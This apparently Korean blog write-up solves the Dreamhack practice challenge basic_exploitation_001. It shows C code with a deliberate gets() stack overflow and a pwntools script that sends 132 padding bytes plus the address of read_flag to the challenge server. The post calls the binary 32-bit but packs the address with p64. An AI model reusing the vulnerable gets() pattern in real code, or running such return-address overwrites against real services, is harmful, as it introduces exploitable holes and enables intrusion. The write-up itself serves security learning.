본문 바로가기

포너블

드림핵 basic_exploitation_001 롸업

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

문제 코드이다.

buf의 크기는 0x80인데 gets로 입력을 받을 때 크기를 지정하지 않아서 오버플로우 취약점이 존재한다.

32bit 운영체제이기 때문에 SFP는 4바이트이다. 

즉, ret까지의 거리는 0x80+4=132바이트이다.

132바이트의 더미 데이터 이후에 read_flag함수의 주소를 넣으면 read_flag함수를 실행시킬 수 있다.

gdb에서 print read_flag로 read_flag 함수의 주소를 알아낼 수 있다.

from pwn import *
from pwn import p64

p = remote('host3.dreamhack.games', 13131)

payload = b'A'*132
payload += p64(0x80485B9)

print(payload)

# 페이로드 전송
p.sendline(payload)
p.interactive()

pwntools를 이용한 페이로드를 이렇게 작성할 수 있다.